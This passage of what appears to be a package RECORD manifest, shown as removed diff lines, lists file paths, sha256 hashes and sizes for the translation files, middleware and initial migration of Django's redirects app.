-django/contrib/redirects/locale/be/LC_MESSAGES/django.mo,sha256=fVqy28ml508UJf5AA-QVsS5dzKI8Q_ugZZ34WjTpJ-s,1426 -django/contrib/redirects/locale/be/LC_MESSAGES/django.po,sha256=zHBVewcpt0KoavV96v3F4wybqtkGb1jUuPz7sbiWWDI,1662 -django/contrib/redirects/locale/bg/LC_MESSAGES/django.mo,sha256=o-ETSDGtAFZRo3SPd_IHe0mJ3R0RHA32KpgfOmUH11M,1279 -django/contrib/redirects/locale/bg/LC_MESSAGES/django.po,sha256=9qm8s6vj-0LStnyEJ8iYVi13_MfugVAAs2RHvIi7kW8,1587 -django/contrib/redirects/locale/bn/LC_MESSAGES/django.mo,sha256=SbQh_pgxNCogvUFud7xW9T6NTAvpaQb2jngXCtpjICM,1319 -django/contrib/redirects/locale/bn/LC_MESSAGES/django.po,sha256=LgUuiPryDLSXxo_4KMCdjM5XC3BiRfINuEk0s5PUQYQ,1511 -django/contrib/redirects/locale/br/LC_MESSAGES/django.mo,sha256=Yt8xo5B5LJ9HB8IChCkj5mljFQAAKlaW_gurtF8q8Yw,1429 -django/contrib/redirects/locale/br/LC_MESSAGES/django.po,sha256=L2qPx6mZEVUNay1yYEweKBLr_fXVURCnACfsezfP_pI,1623 -django/contrib/redirects/locale/bs/LC_MESSAGES/django.mo,sha256=0Yak4rXHjRRXLu3oYYzvS8qxvk2v4IFvUiDPA68a5YI,1115 -django/contrib/redirects/locale/bs/LC_MESSAGES/django.po,sha256=s9Nhx3H4074hlSqo1zgQRJbozakdJTwA1aTuMSqEJWw,1316 -django/contrib/redirects/locale/ca/LC_MESSAGES/django.mo,sha256=VHE6qHCEoA7rQk0fMUpoTfwqSfu63-CiOFvhvKp5DMQ,1136 -django/contrib/redirects/locale/ca/LC_MESSAGES/django.po,sha256=PSMb_7iZBuYhtdR8byh9zr9dr50Z_tQ518DUlqoEA_M,1484 -django/contrib/redirects/locale/ckb/LC_MESSAGES/django.mo,sha256=23RM9kso65HHxGHQ_DKxGDaUkmdX72DfYvqQfhr7JKw,1340 -django/contrib/redirects/locale/ckb/LC_MESSAGES/django.po,sha256=cGrAq3e6h3vbYrtyi0oFSfZmLlJ0-Y3uqrvFon48n80,1521 -django/contrib/redirects/locale/cs/LC_MESSAGES/django.mo,sha256=UwYsoEHsg7FJLVe0JxdOa1cTGypqJFienAbWe7Vldf0,1229 -django/contrib/redirects/locale/cs/LC_MESSAGES/django.po,sha256=hnWJLXX7IjwZK7_8L3p-dpj5XpDmEo7lQ7-F4upjn7U,1504 -django/contrib/redirects/locale/cy/LC_MESSAGES/django.mo,sha256=NSGoK12A7gbtuAuzQEVFPNSZMqqmhHyRvTEn9PUm9So,1132 -django/contrib/redirects/locale/cy/LC_MESSAGES/django.po,sha256=jDmC64z5exPnO9zwRkBmpa9v3DBlaeHRhqZYPoWqiIY,1360 -django/contrib/redirects/locale/da/LC_MESSAGES/django.mo,sha256=_UVfTMRG__5j7Ak8Q3HtXSy_DPGpZ1XvKj9MHdmR_xI,1132 -django/contrib/redirects/locale/da/LC_MESSAGES/django.po,sha256=RAWWbZXbJciNSdw4skUEoTnOb19iKXAe1KXJLWi0zPQ,1418 -django/contrib/redirects/locale/de/LC_MESSAGES/django.mo,sha256=uh-ldy-QkWS5-ARX6cLyzxzdhbTb_chyEbBPFCvCKuE,1155 -django/contrib/redirects/locale/de/LC_MESSAGES/django.po,sha256=hhGNnVCRV4HNxhCYfmVXTOIkabD7qsVQccwxKa5Tz9g,1424 -django/contrib/redirects/locale/dsb/LC_MESSAGES/django.mo,sha256=LXgczA38RzrN7zSWpxKy8_RY4gPg5tZLl30CJGjJ63s,1236 -django/contrib/redirects/locale/dsb/LC_MESSAGES/django.po,sha256=rI9dyDp7zuZ6CjvFyo2OkGUDK5XzdvdI0ma8IGVkjp4,1431 -django/contrib/redirects/locale/el/LC_MESSAGES/django.mo,sha256=sD3HT4e53Yd3HmQap_Mqlxkm0xF98A6PFW8Lil0PihI,1395 -django/contrib/redirects/locale/el/LC_MESSAGES/django.po,sha256=puhVCcshg5HaPHsVAOucneVgBYT6swhCCBpVGOZykgA,1716 -django/contrib/redirects/locale/en/LC_MESSAGES/django.mo,sha256=U0OV81NfbuNL9ctF-gbGUG5al1StqN-daB-F-gFBFC8,356 -django/contrib/redirects/locale/en/LC_MESSAGES/django.po,sha256=u4RcMkFmNvlG9Bv6kM0a0scWUMDUbTEDJGR90-G8C0E,1123 -django/contrib/redirects/locale/en_AU/LC_MESSAGES/django.mo,sha256=wxCpSLGl_zsE47kDwilDkpihazwHkA363PvtGOLWhdk,1127 -django/contrib/redirects/locale/en_AU/LC_MESSAGES/django.po,sha256=zujH1WuxoHw_32flptG0x2Ob_BlilLKXuMjQxVbZmgw,1307 -django/contrib/redirects/locale/en_GB/LC_MESSAGES/django.mo,sha256=VscL30uJnV-eiQZITpBCy0xk_FfKdnMh4O9Hk4HGxww,1053 -django/contrib/redirects/locale/en_GB/LC_MESSAGES/django.po,sha256=loe8xIVjZ7eyteQNLPoa-QceBZdgky22dR6deK5ubmA,1246 -django/contrib/redirects/locale/eo/LC_MESSAGES/django.mo,sha256=WZ3NHrS0qMoCJER5jWnGI12bvY5wH0yytM8F7BFTgYc,712 -django/contrib/redirects/locale/eo/LC_MESSAGES/django.po,sha256=T-Gw75sOjZgqpwjIfieIrLxbg1kekWzjrJYSMld2OEQ,1299 -django/contrib/redirects/locale/es/LC_MESSAGES/django.mo,sha256=xyeIQL_pHFyo7p7SkeuxzKdDsma2EXhvnPNDHUhaBv8,1159 -django/contrib/redirects/locale/es/LC_MESSAGES/django.po,sha256=Y3hPQrcbhLtR-pPYRJJXkJME5M8Enr20j9D63hhe9ZA,1490 -django/contrib/redirects/locale/es_AR/LC_MESSAGES/django.mo,sha256=JdKzpdyf9W2m_0_NguvXvyciOh6LAATfE6lqcsp45To,1144 -django/contrib/redirects/locale/es_AR/LC_MESSAGES/django.po,sha256=3zrKJXLh_mrjc4A6g9O6ePyFz8PNUMYTPjNFpvEhaDo,1364 -django/contrib/redirects/locale/es_CO/LC_MESSAGES/django.mo,sha256=wcAMOiqsgz2KEpRwirRH9FNoto6vmo_hxthrQJi0IHU,1147 -django/contrib/redirects/locale/es_CO/LC_MESSAGES/django.po,sha256=n8DM14vHekZRayH0B6Pm3L5XnSo4lto4ZAdu4OhcOmc,1291 -django/contrib/redirects/locale/es_MX/LC_MESSAGES/django.mo,sha256=38fbiReibMAmC75BCCbyo7pA2VA3QvmRqVEo_K6Ejow,1116 -django/contrib/redirects/locale/es_MX/LC_MESSAGES/django.po,sha256=t7R6PiQ1bCc7jhfMrjHlZxVQ6BRlWT2Vv4XXhxBD_Oo,1397 -django/contrib/redirects/locale/es_VE/LC_MESSAGES/django.mo,sha256=59fZBDut-htCj38ZUoqPjhXJPjZBz-xpU9__QFr3kLs,486 -django/contrib/redirects/locale/es_VE/LC_MESSAGES/django.po,sha256=f4XZW8OHjRJoztMJtSDCxd2_Mfy-XK44hLtigjGSsZY,958 -django/contrib/redirects/locale/et/LC_MESSAGES/django.mo,sha256=34-Z1s9msdnj6U7prMctEWCxAR8TNnP44MIoyUuFsls,1131 -django/contrib/redirects/locale/et/LC_MESSAGES/django.po,sha256=1VWcUbM9z_nNmiGnT9Mka3Y3ZLRVHuJdS_j_yNXvmQ0,1479 -django/contrib/redirects/locale/eu/LC_MESSAGES/django.mo,sha256=yHlAEz01pWse4ZworAj7JiATUam5Fp20EZd_3PRgSNw,1126 -django/contrib/redirects/locale/eu/LC_MESSAGES/django.po,sha256=zAvSdahjvq727hXeGjHJ_R5L5meCrOv98tbH3rwlBcE,1404 -django/contrib/redirects/locale/fa/LC_MESSAGES/django.mo,sha256=vZa1KKm2y8duEv9UbJMyiM8WO2EAXcevdR3Lj1ISgLU,1234 -django/contrib/redirects/locale/fa/LC_MESSAGES/django.po,sha256=1quB0Wx5VTIjX2QUCpENl1GA2hpSdsRpgK931jr20B0,1541 -django/contrib/redirects/locale/fi/LC_MESSAGES/django.mo,sha256=xJEd4M2IowXxKBlaGuOEgFKA9OuihcgPoK07Beat4cc,1164 -django/contrib/redirects/locale/fi/LC_MESSAGES/django.po,sha256=1I7AoXMPRDMY6TCjPkQh0Q9g68r9BwKOwki9DybcFWc,1429 -django/contrib/redirects/locale/fr/LC_MESSAGES/django.mo,sha256=YhVNoNaHdSOp2P2F7xfo2MHCd2KkHiehpVjLyJ4VLuw,1155 -django/contrib/redirects/locale/fr/LC_MESSAGES/django.po,sha256=-ljzEKiU05annJ8DHw4OOg8eDCAnWLV2V33R-tQn9dE,1391 -django/contrib/redirects/locale/fy/LC_MESSAGES/django.mo,sha256=YQQy7wpjBORD9Isd-p0lLzYrUgAqv770_56-vXa0EOc,476 -django/contrib/redirects/locale/fy/LC_MESSAGES/django.po,sha256=D7xverCbf3kTCcFM8h7EKWM5DcxZRqeOSKDB1irbKeE,948 -django/contrib/redirects/locale/ga/LC_MESSAGES/django.mo,sha256=DMxYLCVQl6qtLf8SXpcy1u9DLbTVFM-03Q2iXjNxNs0,1182 -django/contrib/redirects/locale/ga/LC_MESSAGES/django.po,sha256=HL2vCAoXAj0pk4MkrriUY_Jp2xvDaMqJo8i1z2MkKT8,1497 -django/contrib/redirects/locale/gd/LC_MESSAGES/django.mo,sha256=baZXdulbPZwe4_Q3OwfHFl4GJ4hCYtoZz-lE4wcdJvg,1250 -django/contrib/redirects/locale/gd/LC_MESSAGES/django.po,sha256=M4E2giFgzRowd3OsvhD389MyJmT5osKz1Vs1sEfmUpU,1428 -django/contrib/redirects/locale/gl/LC_MESSAGES/django.mo,sha256=au4ulT76A8cd_C_DmtEdiuQ14dIJaprVvFbS9_hYRNk,1131 -django/contrib/redirects/locale/gl/LC_MESSAGES/django.po,sha256=r2t9gHhIvPb8d9XR8fG0b_eW5xkkQswuj4ekJI9x90w,1393 -django/contrib/redirects/locale/he/LC_MESSAGES/django.mo,sha256=Yu8KTmY0mJEcxhkhTEVElPBaWwO9Zj4NqC8eopW0cRc,1278 -django/contrib/redirects/locale/he/LC_MESSAGES/django.po,sha256=UcCd_BqHOkTV1dP0hgJ4dNQzBZ4p8TujwSjF3FWAMjo,1513 -django/contrib/redirects/locale/hi/LC_MESSAGES/django.mo,sha256=onR8L7Kvkx6HgFLK7jT-wA_zjarBN8pyltG6BbKFIWU,1409 -django/contrib/redirects/locale/hi/LC_MESSAGES/django.po,sha256=fNv9_qwR9iS-pjWNXnrUFIqvc10lwg3bfj5lgdQOy1U,1649 -django/contrib/redirects/locale/hr/LC_MESSAGES/django.mo,sha256=7wHi6Uu0czZhI6v0ndJJ1wSkalTRfn7D5ovyw8tr4U4,1207 -django/contrib/redirects/locale/hr/LC_MESSAGES/django.po,sha256=HtxZwZ-ymmf-XID0z5s7nGYg-4gJL8i6FDGWt9i4Wns,1406 -django/contrib/redirects/locale/hsb/LC_MESSAGES/django.mo,sha256=6lfIW4LcMGvuLOY0U4w1V6Xwcd_TsUC3r-QzZOOLwys,1221 -django/contrib/redirects/locale/hsb/LC_MESSAGES/django.po,sha256=l5pATo8NHa8ypB8dCigRwqpLZvV8W0v2vPh60oAeGn0,1420 -django/contrib/redirects/locale/hu/LC_MESSAGES/django.mo,sha256=4oYBNGEmFMISzw3LExVf6CHsJD_o20mMy132pwzM-wk,1111 -django/contrib/redirects/locale/hu/LC_MESSAGES/django.po,sha256=UYJ_ZrAnOqA6S8nkkfN_FBLxCyPHJjOMd1OSIUVc8aY,1383 -django/contrib/redirects/locale/hy/LC_MESSAGES/django.mo,sha256=gT5x1TZXMNyBwfmQ-C_cOB60JGYdKIM7tVb3-J5d6nw,1261 -django/contrib/redirects/locale/hy/LC_MESSAGES/django.po,sha256=40QTpth2AVeoy9P36rMJC2C82YsBh_KYup19WL6zM6w,1359 -django/contrib/redirects/locale/ia/LC_MESSAGES/django.mo,sha256=PDB5ZQP6iH31xN6N2YmPZYjt6zzc88TRmh9_gAWH2U0,1152 -django/contrib/redirects/locale/ia/LC_MESSAGES/django.po,sha256=GXjbzY-cQz2QLx_iuqgijT7VUMcoNKL7prbP6yIbj8E,1297 -django/contrib/redirects/locale/id/LC_MESSAGES/django.mo,sha256=XEsvVWMR9As9csO_6iXNAcLZrErxz3HfDj5GTe06fJU,1105 -django/contrib/redirects/locale/id/LC_MESSAGES/django.po,sha256=t8FoC1xIB-XHDplyDJByQGFnHggxR0LSfUMGwWoAKWE,1410 -django/contrib/redirects/locale/io/LC_MESSAGES/django.mo,sha256=vz7TWRML-DFDFapbEXTByb9-pRQwoeJ0ApSdh6nOzXY,1019 -django/contrib/redirects/locale/io/LC_MESSAGES/django.po,sha256=obStuMYYSQ7x2utkGS3gekdPfnsNAwp3DcNwlwdg1sI,1228 -django/contrib/redirects/locale/is/LC_MESSAGES/django.mo,sha256=aMjlGilYfP7clGriAp1Za60uCD40rvLt9sKXuYX3ABg,1040 -django/contrib/redirects/locale/is/LC_MESSAGES/django.po,sha256=nw5fxVV20eQqsk4WKg6cIiKttG3zsITSVzH4p5xBV8s,1299 -django/contrib/redirects/locale/it/LC_MESSAGES/django.mo,sha256=bBj6dvhZSpxojLZ0GiMBamh1xiluxAYMt6RHubi9CxU,1092 -django/contrib/redirects/locale/it/LC_MESSAGES/django.po,sha256=NHSVus7ixtrB7JDIrYw22srZcse5i4Z9y8Ply_-Jcts,1390 -django/contrib/redirects/locale/ja/LC_MESSAGES/django.mo,sha256=XSJw3iLK0gYVjZ86MYuV4jfoiN_-WkH--oMK5uW9cs8,1193 -django/contrib/redirects/locale/ja/LC_MESSAGES/django.po,sha256=SlYrmC3arGgS7SL8cCnq7d37P-bQGcmpgUXAwVC2eRw,1510 -django/contrib/redirects/locale/ka/LC_MESSAGES/django.mo,sha256=0aOLKrhUX6YAIMNyt6KES9q2iFk2GupEr76WeGlJMkk,1511 -django/contrib/redirects/locale/ka/LC_MESSAGES/django.po,sha256=AQWIEdhxp55XnJwwHrUxxQaGbLJPmdo1YLeT86IJqnY,1725 -django/contrib/redirects/locale/kab/LC_MESSAGES/django.mo,sha256=Ogx9NXK1Nfw4ctZfp-slIL81ziDX3f4DZ01OkVNY5Tw,699 -django/contrib/redirects/locale/kab/LC_MESSAGES/django.po,sha256=gI6aUPkXH-XzKrStDsMCMNfQKDEc-D1ffqE-Z-ItQuI,1001 -django/contrib/redirects/locale/kk/LC_MESSAGES/django.mo,sha256=KVLc6PKL1MP_Px0LmpoW2lIvgLiSzlvoJ9062F-s3Zw,1261 -django/contrib/redirects/locale/kk/LC_MESSAGES/django.po,sha256=Xoy4mnOT51F_GS1oIO91EAuwt-ZfePKh-sutedo6D_g,1478 -django/contrib/redirects/locale/km/LC_MESSAGES/django.mo,sha256=tcW1s7jvTG0cagtdRNT0jSNkhX-B903LKl7bK31ZvJU,1248 -django/contrib/redirects/locale/km/LC_MESSAGES/django.po,sha256=KJ4h1umpfFLdsWZtsfXoeOl6cUPUD97U4ISWt80UZ2U,1437 -django/contrib/redirects/locale/kn/LC_MESSAGES/django.mo,sha256=24GHcQlEoCDri-98eLtqLbGjtJz9cTPAfYdAijsL5ck,788 -django/contrib/redirects/locale/kn/LC_MESSAGES/django.po,sha256=xkH24itr2fpuCQMGQ3xssOqaN_7KzM-GLy0u00ti27I,1245 -django/contrib/redirects/locale/ko/LC_MESSAGES/django.mo,sha256=_m-8YdcKaUqQ-O-ioyJqlvD3d4pT9KEES-_U5v32tVo,1152 -django/contrib/redirects/locale/ko/LC_MESSAGES/django.po,sha256=6m_YYMBCPXdKzk0mN4MdHzroU78uDRp70B67qMu0Ew8,1564 -django/contrib/redirects/locale/ky/LC_MESSAGES/django.mo,sha256=4jX_g-hledmjWEx0RvY99G5QcBj_mQt_HZzpd000J44,1265 -django/contrib/redirects/locale/ky/LC_MESSAGES/django.po,sha256=yvx21nxsqqVzPyyxX9_rF-oeaY2WszXrG4ZDSZTW6-4,1522 -django/contrib/redirects/locale/lb/LC_MESSAGES/django.mo,sha256=xokesKl7h7k9dXFKIJwGETgwx1Ytq6mk2erBSxkgY-o,474 -django/contrib/redirects/locale/lb/LC_MESSAGES/django.po,sha256=Hv1CF9CC78YuVVNpklDtPJDU5-iIUeuXcljewmc9akg,946 -django/contrib/redirects/locale/lt/LC_MESSAGES/django.mo,sha256=reiFMXJnvE4XUosbKjyvUFzl4IKjlJoFK1gVJE9Tbnc,1191 -django/contrib/redirects/locale/lt/LC_MESSAGES/django.po,sha256=G56UIYuuVLgwzHCIj_suHNYPe1z76Y_cauWfGEs4nKI,1448 -django/contrib/redirects/locale/lv/LC_MESSAGES/django.mo,sha256=slGK6O2tYD5yciS8m_7h2WA4LOPf05nQ4oTRKB63etE,1175 -django/contrib/redirects/locale/lv/LC_MESSAGES/django.po,sha256=GUDn1IYQ5UMOQUBvGfuVOeVb-bpf5FHVigqTt_N0I0M,1442 -django/contrib/redirects/locale/mk/LC_MESSAGES/django.mo,sha256=3XGgf2K60LclScPKcgw07TId6x535AW5jtGVJ9lC01A,1353 -django/contrib/redirects/locale/mk/LC_MESSAGES/django.po,sha256=Smsdpid5VByoxvnfzju_XOlp6aTPl8qshFptot3cRYM,1596 -django/contrib/redirects/locale/ml/LC_MESSAGES/django.mo,sha256=IhSkvbgX9xfE4GypOQ7W7SDM-wOOqx1xgSTW7L1JofU,1573 -django/contrib/redirects/locale/ml/LC_MESSAGES/django.po,sha256=9KpXf88GRUB5I51Rj3q9qhvhjHFINuiJ9ig0SZdYE6k,1755 -django/contrib/redirects/locale/mn/LC_MESSAGES/django.mo,sha256=14fdHC_hZrRaA0EAFzBJy8BHj4jMMX6l2e6rLLBtJ8E,1274 -django/contrib/redirects/locale/mn/LC_MESSAGES/django.po,sha256=7_QzUWf5l0P-7gM35p9UW7bOj33NabQq_zSrekUeZsY,1502 -django/contrib/redirects/locale/mr/LC_MESSAGES/django.mo,sha256=KWFQR7X6niKMWIqY93sKtS6o41hsG4pEGLhXwC6MmDI,1530 -django/contrib/redirects/locale/mr/LC_MESSAGES/django.po,sha256=UZp4529Fm4US-Yi5eOlT6Ja7S_s1pc73LqNwEvaxXGw,1687 -django/contrib/redirects/locale/ms/LC_MESSAGES/django.mo,sha256=WUk6hvvHPWuylCGiDvy0MstWoQ1mdmwwfqlms1Nv4Ng,1094 -django/contrib/redirects/locale/ms/LC_MESSAGES/django.po,sha256=bsQDwxqtS5FgPCqTrfm9kw2hH_R2y44DnI5nluUgduc,1255 -django/contrib/redirects/locale/my/LC_MESSAGES/django.mo,sha256=H5-y9A3_1yIXJzC4sSuHqhURxhOlnYEL8Nvc0IF4zUE,549 -django/contrib/redirects/locale/my/LC_MESSAGES/django.po,sha256=MZGNt0jMQA6aHA6OmjvaC_ajvRWfUfDiKkV0j3_E480,1052 -django/contrib/redirects/locale/nb/LC_MESSAGES/django.mo,sha256=pxRtj5VFxTQBbi_mDS05iGoQs4BZ4y6LLJZ9pozJezY,1110 -django/contrib/redirects/locale/nb/LC_MESSAGES/django.po,sha256=ALYXciVa0d0sG70dqjtk17Yh_qwzKAzTXDlEZSU9kc0,1392 -django/contrib/redirects/locale/ne/LC_MESSAGES/django.mo,sha256=TxTnBGIi5k0PKAjADeCuOAJQV5dtzLrsFRXBXtfszWI,1420 -django/contrib/redirects/locale/ne/LC_MESSAGES/django.po,sha256=5b5R-6AlSIQrDyTtcmquoW5xrQRGZwlxZpBpZfVo5t4,1607 -django/contrib/redirects/locale/nl/LC_MESSAGES/django.mo,sha256=Xeh1YbEAu7Lhz07RXPTMDyv7AyWF9Bhe-9oHdWT74mo,1129 -django/contrib/redirects/locale/nl/LC_MESSAGES/django.po,sha256=QuNgrX7w2wO15KPEe3ogVhXbkt0v60EwKmKfD7-PedU,1476 -django/contrib/redirects/locale/nn/LC_MESSAGES/django.mo,sha256=8TQXBF2mzENl7lFpcrsKxkJ4nKySTOgXJM5_I2OD7q8,1143 -django/contrib/redirects/locale/nn/LC_MESSAGES/django.po,sha256=pfrKVQd1wLKKpq-b7CBpc-rZnEEgyZFDSjbipsEiwxM,1344 -django/contrib/redirects/locale/os/LC_MESSAGES/django.mo,sha256=joQ-ibV9_6ctGMNPLZQLCx5fUamRQngs6_LDd_s9sMQ,1150 -django/contrib/redirects/locale/os/LC_MESSAGES/django.po,sha256=ZwFWiuGS9comy7r2kMnKuqaPOvVehVdAAuFvXM5ldxM,1358 -django/contrib/redirects/locale/pa/LC_MESSAGES/django.mo,sha256=MY-OIDNXlZth-ZRoOJ52nlUPg_51_F5k0NBIpc7GZEw,748 -django/contrib/redirects/locale/pa/LC_MESSAGES/django.po,sha256=TPDTK2ZvDyvO1ob8Qfr64QDbHVWAREfEeBO5w9jf63E,1199 -django/contrib/redirects/locale/pl/LC_MESSAGES/django.mo,sha256=9Sc_8aDC8-PADnr4hYdat6iRUXj0QxsWR1RGWKIQP3M,1285 -django/contrib/redirects/locale/pl/LC_MESSAGES/django.po,sha256=RLuSAlWQPvxDGSNHL3j5ohMdf4IZL-g21-_QIuTdY4c,1605 -django/contrib/redirects/locale/pt/LC_MESSAGES/django.mo,sha256=6bBKvreZLmowKJdRMU6WzCCbyekYgEIFmC39LFH2dS8,1187 -django/contrib/redirects/locale/pt/LC_MESSAGES/django.po,sha256=uo57eUM5JxFf1plCUSyk8ts6AHrnTq5HV0ncjFbtsS4,1440 -django/contrib/redirects/locale/pt_BR/LC_MESSAGES/django.mo,sha256=adnRlAeOrULZkdpZGhHbb4D5A-hzJxeYlkfcbarx7pE,1224 -django/contrib/redirects/locale/pt_BR/LC_MESSAGES/django.po,sha256=DLTeZs_Xng3j8bveJizEIBLBjd4lJH_a-TzZxJgtu20,1703 -django/contrib/redirects/locale/ro/LC_MESSAGES/django.mo,sha256=D8FkmV6IxZOn5QAPBu9PwhStBpVQWudU62wKa7ADfJY,1158 -django/contrib/redirects/locale/ro/LC_MESSAGES/django.po,sha256=Z_-pDi2-A7_KXrEQtFlAJ_KLO0vXFKCbMphsNlqfNJk,1477 -django/contrib/redirects/locale/ru/LC_MESSAGES/django.mo,sha256=IvO0IXq1xuX0wpo2hV8po1AMifLS3ElGyQal0vmC_Jw,1457 -django/contrib/redirects/locale/ru/LC_MESSAGES/django.po,sha256=FHb4L3RMVV5ajxGj9y6ZymPtO_XjZrhHmvCZBPwwzmQ,1762 -django/contrib/redirects/locale/sk/LC_MESSAGES/django.mo,sha256=TTgi-SVyS9nbBCsI6NPbg-QA-GMc_-ciYewOUHDb1bM,1222 -django/contrib/redirects/locale/sk/LC_MESSAGES/django.po,sha256=yDuSGdVfHhsorxQNQ6S7ocyJfrI07pcLzyhkvXNCZXk,1506 -django/contrib/redirects/locale/sl/LC_MESSAGES/django.mo,sha256=GAZtOFSUxsOHdXs3AzT40D-3JFWIlNDZU_Z-cMvdaHo,1173 -django/contrib/redirects/locale/sl/LC_MESSAGES/django.po,sha256=gkZTyxNh8L2gNxyLVzm-M1HTiK8KDvughTa2MK9NzWo,1351 -django/contrib/redirects/locale/sq/LC_MESSAGES/django.mo,sha256=qBF68rD7Fyr27aGYYlDeetQrEfxGugtkXxhEB0mQuEA,1179 -django/contrib/redirects/locale/sq/LC_MESSAGES/django.po,sha256=9s38vklGQCDF7WPhCdTa6kiCsWSdhLsB2z4dGt2y31M,1472 -django/contrib/redirects/locale/sr/LC_MESSAGES/django.mo,sha256=OK90avxrpYxBcvPIZ_tDlSZP6PyRCzFg_7h0F_JlMy8,1367 -django/contrib/redirects/locale/sr/LC_MESSAGES/django.po,sha256=Ipi7j7q5N8aNGWmkz5XGlOPqpD46xCLKarfs-lNbKqM,1629 -django/contrib/redirects/locale/sr_Latn/LC_MESSAGES/django.mo,sha256=qYXT0j80c7a5jMsxeezncAL9Gff2Pb7eJz8iTX0TRX4,1210 -django/contrib/redirects/locale/sr_Latn/LC_MESSAGES/django.po,sha256=CL3ij3uGK8UOMggLXf0MctEydLbyi-9zvkXN5Teuu9c,1424 -django/contrib/redirects/locale/sv/LC_MESSAGES/django.mo,sha256=2j_IyOgbM_yED5lF10r7KGguEC2qX58dRIVogWj5PVY,1134 -django/contrib/redirects/locale/sv/LC_MESSAGES/django.po,sha256=lIFNLfEondtzlwlG3tDf3AH59uEotLtj-XdL87c-QUo,1404 -django/contrib/redirects/locale/sw/LC_MESSAGES/django.mo,sha256=qQjxB8Z6uKoNOa3wI6aDiAYLpWhx7z2yI7nEbXtMOXc,1165 -django/contrib/redirects/locale/sw/LC_MESSAGES/django.po,sha256=rAAmAwjvy69tVeB-QeccIS8CMA96XLeWdfRwDy3_QA0,1385 -django/contrib/redirects/locale/ta/LC_MESSAGES/django.mo,sha256=AE6Py2_CV2gQKjKQAa_UgkLT9i61x3i1hegQpRGuZZM,1502 -django/contrib/redirects/locale/ta/LC_MESSAGES/django.po,sha256=ojdq8p4HnwtK0n6By2I6_xuucOpJIobJEGRMGc_TrS8,1700 -django/contrib/redirects/locale/te/LC_MESSAGES/django.mo,sha256=Gtcs4cbgrD7-bSkPKiPbM5DcjONS2fSdHhvWdbs_E1M,467 -django/contrib/redirects/locale/te/LC_MESSAGES/django.po,sha256=RT-t3TjcOLyNQQWljVrIcPWErKssh_HQMyGujloy-EI,939 -django/contrib/redirects/locale/tg/LC_MESSAGES/django.mo,sha256=6e4Pk9vX1csvSz80spVLhNTd3N251JrXaCga9n60AP8,782 -django/contrib/redirects/locale/tg/LC_MESSAGES/django.po,sha256=2Cmle5usoNZBo8nTfAiqCRq3KqN1WKKdc-mogUOJm9I,1177 -django/contrib/redirects/locale/th/LC_MESSAGES/django.mo,sha256=1l6eO0k1KjcmuRJKUS4ZdtJGhAUmUDMAMIeNwEobQqY,1331 -django/contrib/redirects/locale/th/LC_MESSAGES/django.po,sha256=DVVqpGC6zL8Hy8e6P8ZkhKbvcMJmXV5euLxmfoTCtms,1513 -django/contrib/redirects/locale/tk/LC_MESSAGES/django.mo,sha256=NkxO6C7s1HHT1Jrmwad9zaD3pPyW_sPuZz3F2AGUD7M,1155 -django/contrib/redirects/locale/tk/LC_MESSAGES/django.po,sha256=0EQj1I1oNbAovKmF7o2rQ8_QsQiYqEFDab2KlCFw0s0,1373 -django/contrib/redirects/locale/tr/LC_MESSAGES/django.mo,sha256=-qySxKYwxfFO79cBytvzTBeFGdio1wJlM5DeBBfdxns,1133 -django/contrib/redirects/locale/tr/LC_MESSAGES/django.po,sha256=-03z3YMI6tlt12xwFI2lWchOxiIVbkdVRhghaCoMKlk,1408 -django/contrib/redirects/locale/tt/LC_MESSAGES/django.mo,sha256=Hf1JXcCGNwedxy1nVRM_pQ0yUebC-tvOXr7P0h86JyI,1178 -django/contrib/redirects/locale/tt/LC_MESSAGES/django.po,sha256=2WCyBQtqZk-8GXgtu-x94JYSNrryy2QoMnirhiBrgV0,1376 -django/contrib/redirects/locale/udm/LC_MESSAGES/django.mo,sha256=CNmoKj9Uc0qEInnV5t0Nt4ZnKSZCRdIG5fyfSsqwky4,462 -django/contrib/redirects/locale/udm/LC_MESSAGES/django.po,sha256=xsxlm4itpyLlLdPQRIHLuvTYRvruhM3Ezc9jtp3XSm4,934 -django/contrib/redirects/locale/ug/LC_MESSAGES/django.mo,sha256=qV4UXMJUeNM2vw0LWn-YR9TDn1sQVvnEUcXh7_AX3Jo,1409 -django/contrib/redirects/locale/ug/LC_MESSAGES/django.po,sha256=dilTTU3q5BCYiUIgpjncD3ijPaQgp1l73poSrsZiUUc,1633 -django/contrib/redirects/locale/uk/LC_MESSAGES/django.mo,sha256=QbN1ABfbr2YbZQXz2U4DI-6iTvWoKPrLAn5tGq57G5Y,1569 -django/contrib/redirects/locale/uk/LC_MESSAGES/django.po,sha256=pH9M4ilsJneoHw6E1E3T54QCHGS_i4tlhDc0nbAJP8I,1949 -django/contrib/redirects/locale/ur/LC_MESSAGES/django.mo,sha256=CQkt-yxyAaTd_Aj1ZZC8s5-4fI2TRyTEZ-SYJZgpRrQ,1138 -django/contrib/redirects/locale/ur/LC_MESSAGES/django.po,sha256=CkhmN49PvYTccvlSRu8qGpcbx2C-1aY7K3Lq1VC2fuM,1330 -django/contrib/redirects/locale/uz/LC_MESSAGES/django.mo,sha256=vD0Y920SSsRsLROKFaU6YM8CT5KjQxJcgMh5bZ4Pugo,743 -django/contrib/redirects/locale/uz/LC_MESSAGES/django.po,sha256=G2Rj-6g8Vse2Bp8L_hGIO84S--akagMXj8gSa7F2lK4,1195 -django/contrib/redirects/locale/vi/LC_MESSAGES/django.mo,sha256=BquXycJKh-7-D9p-rGUNnjqzs1d6S1YhEJjFW8_ARFA,1106 -django/contrib/redirects/locale/vi/LC_MESSAGES/django.po,sha256=xsCASrGZNbQk4d1mhsTZBcCpPJ0KO6Jr4Zz1wfnL67s,1301 -django/contrib/redirects/locale/zh_Hans/LC_MESSAGES/django.mo,sha256=iftb_HccNV383_odHbB6Tikn2h7EtP_9QK-Plq2xwTY,1100 -django/contrib/redirects/locale/zh_Hans/LC_MESSAGES/django.po,sha256=xZmfuCEYx7ou_qvtxBcBly5mBmkSBEhnx0xqJj3nvMw,1490 -django/contrib/redirects/locale/zh_Hant/LC_MESSAGES/django.mo,sha256=Dj3gCstbzcxZyR6iL-U_ridpKcyDI8UIAohw8Rq82bM,1108 -django/contrib/redirects/locale/zh_Hant/LC_MESSAGES/django.po,sha256=UvNH_gQtAhWqN-d3qGOB3nuqrKqFhxjIGu09WsZ7_oQ,1413 -django/contrib/redirects/middleware.py,sha256=ydqidqi5JTaoguEFQBRzLEkU3HeiohgVsFglHUE-HIU,1921 -django/contrib/redirects/migrations/0001_initial.py,sha256=0mXB5TgK_fwYbmbB_e7tKSjgOvpHWnZXg0IFcVtnmfU,2101 